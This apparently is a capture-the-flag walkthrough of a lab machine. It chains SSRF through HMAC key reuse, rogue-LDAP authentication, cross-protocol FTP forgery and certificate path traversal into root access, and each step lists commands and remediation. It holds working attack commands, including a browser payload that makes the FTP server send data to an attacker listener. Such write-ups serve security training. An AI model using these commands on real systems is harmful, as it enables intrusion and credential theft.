← all walkthroughs

Response

Linux· Insane
owned
2026-10-26
time to own
2h13m18s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I reconstructed a chain of internal-only web applications on response by abusing a status page that reflected the PHPSESSID cookie into a JavaScript snippet describing a server-side fetch proxy. Because the proxy signed both the target URL and my own session value with the same HMAC key, I turned the proxy into a universal GET oracle, used it to pull a chat application's source and replay its Socket.IO handshake through plain HTTP, and exploited an authentication routine that let the client dictate its own LDAP server to log in as a privileged chat user by standing up a rogue LDAP instance. From that privileged chat session I learned of an internal FTP server; a cross-protocol request forgery sent through the chat to a second employee's browser smuggled raw FTP commands in an HTTP POST body, leaking SSH credentials for a low-privileged user and user.txt.

A scheduled security-scanning script on that host ran as a higher-privileged account and read a path-traversal-vulnerable Nmap NSE script's certificate fields from LDAP, which was abused to exfiltrate that account's SSH private key inside a generated PDF report. Finally, forensic data recovered from that account's home directory (a packet capture and process memory dump of an earlier incident) allowed me to decrypt a captured command-and-control session and recover fragments of root's SSH private key, completing full compromise.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD3="<the-password-you-recovered, for bob>"

Some commands also carry a value in angle brackets — <any-test-value>, <c>, <d>, <e>, <leaked_digest>, <leaked_session_digest>, <leaked_url_digest>, <new_pw>, <scan_ldap_bind_dn>, <scan_ldap_bind_pw>, <sid> — which you replace inline with what the step before it turned up.

Attack path — how the box was taken

1ReconnaissanceVirtual host enumeration / SSRF discovery
Mapped virtual hosts and found an internal SSRF proxy
Nmap showed only SSH and a default nginx/PHP site. The site redirected to www.response.htb; virtual-host fuzzing against the base IP revealed three more internal names (proxy, api, chat) that were not directly reachable from outside but were referenced by the public site's status page. The status page's script showed it asks a backend proxy to fetch a URL on its behalf and authorizes that fetch with an HMAC digest of the URL.
Ffuf vhost fuzz surfaced proxy.response.htb, api.response.htb, chat.response.htb; /status/main.js.php disclosed the fetch/url_digest proxy contract.
Exact commands 3
shell

Resolve the discovered virtual host locally.

$ echo "$TARGET www.response.htb" | sudo tee -a /etc/hosts
shell

Enumerate internal vhosts behind the public site.

$ ffuf -u http://$TARGET/ -H 'Host: FUZZ.response.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs 145
shell

Pull the status page JS revealing the proxy/url_digest fetch contract.

$ curl -sS --resolve www.response.htb:80:$TARGET -H 'Cookie: PHPSESSID=<any-test-value>' http://www.response.htb/status/main.js.php
FixStop disclosing internal virtual hosts and backend architecture to anonymous visitorsLow
WeaknessA public-facing debug/status page revealed internal hostnames and the existence and contract of a server-side fetch proxy, map material an unauthorised user used to plan the rest of the chain.
FixRemove debug/status endpoints from production, or gate them behind authentication; never ship client-side JavaScript that documents internal service names or signing schemes; segment internal-only vhosts so they are not resolvable or routable from the public network.
2Initial AccessServer-Side Request Forgery via a shared signing key (CWE-918)
Abused a shared HMAC key to turn the status page into a signed SSRF oracle
The same status script signed two different values with one secret: the URL it proxied, and the raw PHPSESSID cookie it echoed back as a 'session' field. By setting the cookie to me wanted fetched, the response leaked a valid signature for that URL, which could then be replayed against the real proxy to retrieve any internal page, including the chat application's page and its bundled source archive.
Cookie PHPSESSID=http://chat.response.htb/files/chat_source.zip returned a session_digest reusable as a url_digest; the proxy's /fetch endpoint returned the base64 page body.
Exact commands 2
shell

Leak a valid digest for the target URL by abusing the cookie-signing reuse.

$ curl --resolve chat.response.htb:80:$TARGET -sS -H 'Host: www.response.htb' -H 'Cookie: PHPSESSID=http://chat.response.htb/files/chat_source.zip' http://$TARGET/status/main.js.php
shell

Replay the leaked digest against the real proxy to fetch the chat app's source archive; substitute <leaked_digest> from the prior response.

$ curl -sS -X POST http://proxy.response.htb/fetch -H 'Content-Type: application/json' -d '{"url":"http://chat.response.htb/files/chat_source.zip","url_digest":"<leaked_digest>","method":"GET"}' | jq -r .body | base64 -d > chat_source.zip
FixUse independent keys/contexts for distinct HMAC-signed values and validate proxy targetsCritical
WeaknessThe status page signed an externally controlled cookie value with the exact same HMAC key used to authorize URLs for the internal fetch proxy, letting an unauthorised user mint a valid signature for any URL of their choosing and turn the proxy into an open SSRF primitive.
FixUse distinct, purpose-bound keys (or domain-separated HMAC inputs) for every signed artifact; never sign or echo externally-supplied input with a secret also used to authorize privileged backend actions. Additionally restrict the fetch proxy to an allow-list of internal destinations and strip it from handling arbitrary externally chosen URLs.
3Initial AccessAuthentication bypass via client-controlled LDAP server (CWE-287) chained through SSRF
Exploited client-controlled LDAP binding to log in to chat as a privileged user
Reviewing the recovered chat source showed its login handler bound to an LDAP server address supplied by the client itself in the login request, rather than a fixed internal directory. I could stand up my own LDAP server, create any account they liked in it, and point the login request's 'authserver' field at that rogue server, authenticating as that identity against the real chat app. Because the proxy could not carry WebSockets, the Socket.IO handshake was forced to the long-polling transport and replayed as a sequence of plain HTTP GET/POST requests through the same SSRF oracle.
server/index.js authenticate_user() bound to ldap://${authserver} where authserver came from the request body; guest:guest was the only hard-coded account otherwise.
Exact commands 4
shell

Stand up a throwaway LDAP server I fully controls.

$ docker run -d --name rogue-ldap -p 389:389 -e LDAP_DOMAIN=response.htb -e LDAP_ADMIN_PASSWORD=admin osixia/openldap:1.5.0
shell

Create an 'admin' user in the rogue directory and set its password.

$ ldapadd -x -H ldap://127.0.0.1 -D 'cn=admin,dc=response,dc=htb' -w admin -f ou_users.ldif && ldappasswd -x -H ldap://127.0.0.1 -D 'cn=admin,dc=response,dc=htb' -w admin -s '<new_pw>' 'uid=admin,ou=users,dc=response,dc=htb'
shell

Open a Socket.IO polling session for the chat app through the SSRF oracle; repeat with the returned sid to poll (GET) and send (POST).

$ curl --resolve chat.response.htb:80:$TARGET -sS -H 'Host: www.response.htb' -H 'Cookie: PHPSESSID=http://chat.response.htb/socket.io/?EIO=4&transport=polling' http://$TARGET/status/main.js.php
shell

Submit the login event pointing authserver at my rogue LDAP, authenticating as the rogue 'admin' account.

$ curl -sS -X POST http://proxy.response.htb/fetch -H 'Content-Type: application/json' -d '{"url":"http://chat.response.htb/socket.io/?EIO=4&transport=polling&sid=<sid>","method":"POST","session":"40{\"username\":\"admin\",\"password\":\"<new_pw>\",\"authserver\":\"'"$ATTACKER_IP"':389\"}","session_digest":"<leaked_session_digest>","url_digest":"<leaked_url_digest>"}'
FixNever let a client specify the authentication server it is validated againstCritical
WeaknessThe chat application accepted a client-supplied 'authserver' value and bound to that externally chosen LDAP host to validate credentials, letting an unauthorised user stand up a rogue directory and authenticate as any identity.
FixHard-code the directory server address in server-side configuration; never derive authentication infrastructure endpoints from request parameters. Pin the expected LDAP server's TLS certificate/fingerprint for defense in depth.
4Lateral MovementCross-Protocol Request Forgery (CPRF) against a non-HTTP service
Forged a cross-protocol FTP request through a chat user's browser to steal SSH credentials
Logged in as a privileged chat user, I learned (from another user, 'bob') the address of an internal FTP server and that bob would open a link sent to him. I hosted a page whose JavaScript issued a cross-origin POST whose raw body was valid FTP protocol text (USER/PASS/PORT/LIST), which the FTP server parsed as commands once bob's browser sent it, including an active-mode PORT command pointing the server's data connection back to my own listener. The resulting directory listing, and then a RETR of creds.txt, disclosed bob's SSH password.
Nc listener on the forged PORT received a 150/226 FTP transfer and the contents of creds.txt containing bob's SSH password.
Exact commands 3
shell

Listener to catch the FTP active-mode data connection (run in background).

$ nc -lvnp 9001
shell

Serve index.html + payload.js to send to bob via chat.

$ python3 -m http.server 8080
shell

payload.js body (served to bob); PORT encodes $ATTACKER_IP as a,b,c,d and port 9001 as 35,41 (35*256+41). Swap LIST for 'RETR creds.txt' once the listing shows the file.

$ fetch('http://FTP_HOST:FTP_PORT/', {method:'POST', mode:'no-cors', body:'USER anonymous\r\nPASS x\r\nPORT <a>,<b>,<c>,<d>,35,41\r\nLIST\r\n'})
FixRestrict internal FTP to authenticated, origin-aware clients and disable active modeHigh
WeaknessThe internal FTP service accepted raw command text in an arbitrary HTTP request body from an unrelated origin, allowing a victim's browser to be weaponized into sending FTP commands (cross-protocol request forgery) and leak plaintext credentials to an externally controlled host over active-mode PORT.
FixDisable FTP active mode (use passive mode with a restricted port range) so the server never connects out to an unauthorised user host; restrict FTP access by network ACL to known administrative hosts; replace FTP with SFTP; and apply SameSite cookies/CSRF tokens plus strict CORS on any app that could be used to pivot browser requests toward internal services.
5FootholdCredential reuse / valid SSH authentication (T1078)
Authenticated over SSH as bob and captured user.txt
The credentials recovered from the forged FTP session were valid for bob's SSH account, giving me an interactive shell and the user flag.
Ssh bob@$TARGET returned uid=1001(bob) gid=1001(bob); /home/bob/user.txt read.
Exact commands 2
shell

Confirm access as bob; proof-of-access command.

$ sshpass -p "$PASSWORD3" ssh -o StrictHostKeyChecking=no bob@$TARGET id
shell

Read the user flag. Replace with <user.txt> when reporting the value.

$ sshpass -p "$PASSWORD3" ssh bob@$TARGET cat /home/bob/user.txt
6Privilege EscalationPath traversal in a scheduled process feeding an unauthorised user-influenced certificate data into a report (CWE-22), chained with an LDAP-stored plaintext bind credential
Abused a path-traversal bug in a scheduled scan script's TLS-certificate parser to exfiltrate a second user's SSH key
A world-readable scheduled script owned by user 'scryh' periodically read server records from LDAP and ran a certificate-inspection Nmap script against each one, rendering the results into a PDF emailed to that server's configured manager. The certificate-inspection script took the certificate's country/state fields and used them, unsanitized, as filenames to load local data files. By registering my own host in LDAP and presenting a certificate whose 'state' field was a path-traversal string, I made the generated PDF embed the contents of scryh's SSH private key file instead of the expected certificate metadata.
scan.sh ran scripts/ssl-cert.nse via nmap --script ssl-cert against LDAP-sourced targets and emailed a wkhtmltopdf-rendered report; scryh_id_rsa recovered and verified with ssh-keygen -y.
Exact commands 4
shell

Register my host under ou=servers so the scheduled scan targets it; bind creds recovered in plaintext from scan.sh. DB resets each run so re-add before every trigger.

$ ldapadd -x -H ldap://$TARGET -D '<scan_ldap_bind_dn>' -w '<scan_ldap_bind_pw>' -f ipHost_entry.ldif
shell

Self-signed cert whose stateOrProvinceName is a traversal path the vulnerable ssl-cert.nse will load as a filename.

$ openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 1 -subj '/C=US/ST=../../../../../.ssh/id_rsa/O=x' -nodes
shell

Derive the public key from the private key recovered inside the exfiltrated PDF, to confirm it before use.

$ ssh-keygen -y -f scryh_id_rsa
shell

Authenticate as scryh using the recovered key.

$ chmod 600 scryh_id_rsa && ssh -i scryh_id_rsa scryh@$TARGET id
FixSanitize certificate fields before using them as filesystem paths, and never store plaintext bind credentials in scriptsCritical
WeaknessA certificate-inspection script used an unauthorised user-influenced X.509 fields (country/state) directly as filenames with no path sanitization, and the scheduled job that invoked it stored its LDAP bind password in plaintext in a world-readable script, together letting a rogue LDAP entry drive a path-traversal read of another user's SSH private key into a generated report.
FixSanitize/allow-list any certificate-derived value before using it in a filesystem path (reject path separators and traversal sequences); run scheduled scanners with least privilege and store secrets in a vault or environment variable readable only by the service account, not in a world-readable script file.
7Privilege EscalationRecovery and cryptanalysis of stored incident-response artifacts (T1552.004 private key theft)
Recovered fragments of root's SSH key from an unrelated incident's forensic artifacts
Scryh's home directory held leftovers from a prior incident investigation: a packet capture and a process memory dump of a malware sample that had been run by an administrator. The capture contained the malware's encrypted command-and-control traffic. Decrypting that traffic (the sample's key material was recoverable from the accompanying process dump/incident documentation) exposed a channel transferring an archive that contained root's public key material and a partial image of root's private key. The private key was reconstructed from that recovered material offline.
Incident_2022-3-042/ contained dump.pcap and core.auto_update; Wireshark export isolated the auto_update C2 binary and traffic on tcp/4444; the decrypted channel carried docs_backup.zip with root's authorized_keys and a partial private-key image.
Exact commands 4
shell

Export Objects to pull the auto_update sample and isolate the C2 stream on tcp/4444 for offline analysis.

$ wireshark -r dump.pcap
shell

Custom analysis of the process-memory dump against the captured traffic; not a single canonical tool invocation.

$ # Offline: parse the per-packet C2 framing from core.auto_update to recover the session key material, then decrypt dump.pcap's tcp/4444 stream with it.
shell

Reconstruct root's RSA private key once N, e, and a recovered prime factor from the decrypted archive are available.

$ python3 RsaCtfTool.py -n <N> -e <e> --private --dumpkey
shell

Authenticate as root with the reconstructed key; proof-of-access command before reading root.txt.

$ chmod 600 root_key && ssh -i root_key root@$TARGET id
FixPurge and isolate forensic incident artifacts instead of leaving them in a user's home directoryCritical
WeaknessPacket captures and process memory dumps from a prior malware incident, containing recoverable key material for an encrypted C2 channel and ultimately root's SSH key fragments, were left readable in a standard user's home directory instead of being handled under incident-response custody.
FixStore forensic evidence (pcaps, memory dumps, core files) in a dedicated, access-controlled evidence store, never in a regular user's home directory; rotate any credentials or keys referenced by or recoverable from such artifacts; and treat any host that handled a known malware sample as needing full credential rotation, not just malware removal.

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004

What it is

Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.

Why it works

Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.

Read more

Exposed services

22/tcp
80/tcp